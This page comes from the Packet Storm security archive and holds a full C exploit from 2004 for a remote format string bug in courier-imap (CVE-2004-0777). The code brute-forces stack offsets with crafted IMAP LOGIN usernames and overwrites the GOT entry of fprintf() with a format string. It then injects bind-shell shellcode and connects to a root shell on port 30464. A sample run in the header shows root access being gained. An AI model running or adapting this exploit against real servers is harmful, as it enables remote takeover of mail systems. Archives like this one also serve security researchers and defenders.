what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sm00ny-courier_imap_fsx.c

sm00ny-courier_imap_fsx.c
Posted Sep 13, 2004
Authored by ktha

courier-imap 3.0.2-r1 and below remote format string vulnerability exploit. Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2.

tags | exploit, remote, imap
systems | freebsd
advisories | CVE-2004-0777
SHA-256 | 6b6fd0cbc65997bc5ba71342249c8d839b98e3f0017bd1622b2c633be2fd18a1

sm00ny-courier_imap_fsx.c

Change Mirror Download
/* CAN-2004-0777 */

/*
courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit

Author: ktha at hush dot com

Tested on FreeBSD 4.10-RELEASE with courier-imap-3.0.2

Special thanks goes to andrewg for providing the FreeBSD box.

Greetings: all the guys from irc pulltheplug com and irc netric org

bash-2.05b$ ./sm00ny-courier_imap_fsx
courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com
[*] Launching attack against 127.0.0.1:143
[+] Got current ebp(5100): 0xbfbfb050
[+] Got possible saved ebp(3281): 0xbfbfe390
[+] Got possible write on the stack pointer(3293): 0xbfbfe3c0
[+] Verifying...failed
[+] Got possible saved ebp(3286): 0xbfbfe3a4
[+] Got possible write on the stack pointer(3298): 0xbfbfe3d4
[+] Verifying...failed
[+] Got possible saved ebp(3287): 0xbfbfe3a8
[+] Got possible write on the stack pointer(3299): 0xbfbfe3d8
[+] Verifying...OK
[+] Building fmt...done
[+] Building shellcode...done
[*] Using ret: 0x8057000
[*] Using got of fprintf(): 0x804fefc
[*] Checking for shell..
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

N.B. 1. ret can be guessed ;)
2. got, well.. that's a different story, it must be bruteforced
3. "ce_number" & "se_number" can be set with some default values when running multiple times
4. shell is usable for aprox 1 min

[ Need a challenge ? ]
[ Visit http://www.pulltheplug.com ]

*/

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>

#define BIGBUF 2048

#define IMAP_PORT 143

#define END_BRUTEFORCE_STACK 5500

#define TOP_STACK 0xbfc00000 /* FreeBSD */

#define START_BRUTEFORCE_SAVED_EBP 3000

#define JUNK 9

#define GAP_EBP_ESP 48

#define DUMMY_NUMBER 100


void die(int type, char *message) {
if(type == 2)
perror(message);
else
fprintf(stderr,"%s\n",message);
exit(1);
}

int connect_to (char *host, int port){
struct hostent *h;
struct sockaddr_in c;
int sock;

if ((host == NULL) || (*host == (char) 0))
die(1, "[-] Invalid hostname");

if ((c.sin_addr.s_addr = inet_addr (host)) == -1){
if ((h = gethostbyname (host)) == NULL)
die(1, "[-] Cannot resolve host");
memcpy ((char *) &c.sin_addr, (char *) h->h_addr, sizeof (c.sin_addr));
}
if ((sock = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
die(2,"[-] Error creating socket:");
c.sin_family = PF_INET;
c.sin_port = htons (port);
if (connect (sock, (struct sockaddr *) &c, sizeof (c)) == -1)
die(2, "[-] Cannot connect: ");
return sock;
}

void close_socket (int sock){
shutdown (sock, 2);
close (sock);
}

char *get_request(char *username, char *password){
char *request = (char *)malloc(strlen(username)+strlen(password)+20);
sprintf(request,"1 LOGIN \"%s\" \"%s\"\r\n",username, password);
return request;
}

void send_data(int sock, char *request){
int n;
n = send (sock, request, strlen (request), 0);
if (n != strlen (request)){
close_socket (sock);
die(1, "Error sending request\n");
}
}


int get_ce_number(char *host, int port){
int sock;
int loop;
char temp[BIGBUF];
int l,n;
char username[BIGBUF];
char password[BIGBUF];
char *request;

for (loop = END_BRUTEFORCE_STACK;;loop--){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$p",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
break;
}
return loop;
}


int get_se_number(int start, int end, char *host, int port){
int loop;
char username[BIGBUF];
char password[BIGBUF];
char *request;
int l,n;
char temp[BIGBUF];
int sock;
if (!start)
start = START_BRUTEFORCE_SAVED_EBP;
for (loop = start; loop < end; loop++){
sock = connect_to(host, port);
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%d$n",loop);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
break;
}
if (loop == end)
return -1;

return loop;
}





int verify_se_number(int write, unsigned long addy, int number, char *host, int port){
char username[BIGBUF];
char password[BIGBUF];
char temp[BIGBUF];
char *request;
int n, sock;

sock = connect_to(host, port);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%uu%%%u$hn%%%u$hn", (addy & 0xffff) - JUNK, number, write);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n <= 0)
return 0;

sock = connect_to(host, port);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
sprintf(password,"sm00ny");
sprintf(username,"%%%u$n%%%u$hn", number, write);
request = get_request(username,password);
send_data(sock,request);
memset(temp,0,sizeof(temp));
n = recv (sock, temp, sizeof (temp), 0);
close_socket (sock);
if (n > 0)
return 0;

return 1;
}


int *get_format_vector(unsigned long got_addy, unsigned long got, unsigned long ret){
int i,j,sum,byte;
int *vec = (int *)malloc(11 * sizeof(int));

sum = JUNK;
for (i=0; i<2; i++){
for (j=0; j<2; j++){
vec[2*(2 * i + j)] = (got_addy & 0xffff) - sum;
while (vec[2*(2 * i + j)] <= 12)
vec[2*(2 * i + j)] += 0x10000;
sum += vec[2*(2 * i + j)];

byte = ((got + 2 * i) >> (16*j)) & 0xffff;
vec[2*(2 * i + j) + 1] = byte - sum;
while (vec[2*(2 * i + j) + 1] <= 12)
vec[2*(2 * i + j) + 1] += 0x10000;
sum += vec[2*(2 * i + j) + 1];
got_addy += 2;
}
}
for (i=0; i<2; i++){
byte = (ret >> (16*i)) & 0xffff;
vec[8+i] = byte - sum;
while (vec[8+i] <= 12)
vec[8+i] += 0x10000;
sum += vec[8+i];
}

return vec;
}

char *get_format_string(int *vec, int se_number, int write_number, int got_number){
char *buf = (char *) malloc(BIGBUF);
char smallbuf[256];
int i;

for (i=0; i<4; i++){
sprintf(smallbuf ,"%%%uu%%%u$hn%%%uu%%%u$hn",vec[2*i],se_number,vec[2*i+1],write_number);
strcat(buf,smallbuf);
}
for (i=0; i<2; i++){
sprintf(smallbuf,"%%%uu%%%u$hn",vec[8 + i],got_number + i);
strcat(buf,smallbuf);
}
return buf;
}


char *gen_shellcode (int gap){
int size;
char *p;
char shellcode[] =
/* Thanks ilja */
"\x31\xc0\x31\xc9\x31\xd2\xb0\x61"
"\x51\xb1\x06\x51\xb1\x01\x51\xb1"
"\x02\x51\x8d\x0c\x24\x51\xcd\x80"
"\xb1\x02\x31\xc9\x51\x51\x51\x80"
"\xc1\x77\x66\x51\xb5\x02\x66\x51"
"\x8d\x0c\x24\xb2\x10\x52\x51\x50"
"\x8d\x0c\x24\x51\x89\xc2\x31\xc0"
"\xb0\x68\xcd\x80\xb3\x01\x53\x52"
"\x8d\x0c\x24\x51\x31\xc0\xb0\x6a"
"\xcd\x80\x31\xc0\x50\x50\x52\x8d"
"\x0c\x24\x51\x31\xc9\xb0\x1e\xcd"
"\x80\x89\xc3\x53\x51\x31\xc0\xb0"
"\x5a\xcd\x80\x41\x53\x51\x31\xc0"
"\xb0\x5a\xcd\x80\x41\x53\x51\x31"
"\xc0\xb0\x5a\xcd\x80\x31\xdb\x53"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x31\xc0\x50\x54"
"\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";


size = strlen (shellcode);
p = (char *) malloc (gap + 1);

/* Some nops ;) */
memset (p, 0x41, gap);

memcpy (p + gap - size, shellcode, size + 1);
return p;
}


void root(char *host) {
fd_set rfds;
int n;
int sock;
char buff[1024];

sock = connect_to(host,30464);
send(sock,"id;\n",4,0);
while(1) {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
if(select(sock+1, &rfds, NULL, NULL, NULL) < 1)
exit(0);
if(FD_ISSET(0,&rfds)) {
if( (n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if( send(sock,buff,n,0) != n)
exit(0);
}
if(FD_ISSET(sock,&rfds)) {
if( (n = recv(sock,buff,sizeof(buff),0)) < 1)
exit(0);
write(1,buff,n);
}
}
}



main (int argc, char **argv) {
char *host="127.0.0.1";
int port = IMAP_PORT;
int sock;

char *temp1, *temp2;
char *request;
int *vec;

int n,ok,i;

unsigned long cur_ebp; // was 5100 on my box
int ce_number = 0;
unsigned long saved_ebp; // was 3287 on my box
int se_number = 0;
unsigned long write_addy;
int write_number = 0;
unsigned long got_addy;
int got_number = 0;

/* objdump -R /usr/lib/courier-imap/sbin/imaplogin | grep fprintf */
unsigned long got = 0x0804fefc;
/* heh.. it's up to you to find this one :P Just use your favourite mathod */
unsigned long ret = 0x8057000;

if (argc > 1)
host = argv[1];

printf("courier-imap <= 3.0.2-r1 Remote Format String Vulnerability exploit by ktha at hush dot com\n");

printf("[*] Launching attack against %s:%d\n",host,port);

if (ce_number == 0)
ce_number = get_ce_number(host,port);
cur_ebp = TOP_STACK - 4 * ce_number;

got_number = DUMMY_NUMBER;
got_addy = cur_ebp + 4 * (got_number - 1);

printf("[+] Got current ebp(%d): %p\n",ce_number,cur_ebp);

do{
se_number = get_se_number(se_number,ce_number,host,port);
if (se_number == -1)
die(1,"[-] Failed to get a saved_ebp !");

saved_ebp = cur_ebp + 4 * (se_number - 1);
printf("[+] Got possible saved ebp(%d): %p\n",se_number,saved_ebp);

write_addy = GAP_EBP_ESP + saved_ebp;
write_number = (write_addy - cur_ebp) / 4 + 1;
printf("[+] Got possible write on the stack pointer(%d): %p\n",write_number,write_addy);

printf("[+] Verifying...");
ok = verify_se_number(write_number,got_addy,se_number,host,port);
if (ok)
printf("OK\n");
else {
printf("failed\n");
se_number++;
}
}while (!ok);

printf("[+] Building fmt...");
vec = get_format_vector(got_addy,got,ret);
temp1 = get_format_string(vec,se_number,write_number,got_number);
printf("done\n");

printf("[+] Building shellcode...");
temp2 = gen_shellcode(800);
printf("done\n");

printf("[*] Using ret: %p\n",ret);
printf("[*] Using got of fprintf(): %p\n",got);

request = get_request(temp1,temp2);

sock = connect_to(host, port);
send_data(sock,request);
sleep(2);
close_socket (sock);

printf("[*] Checking for shell..\n");
root(host);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close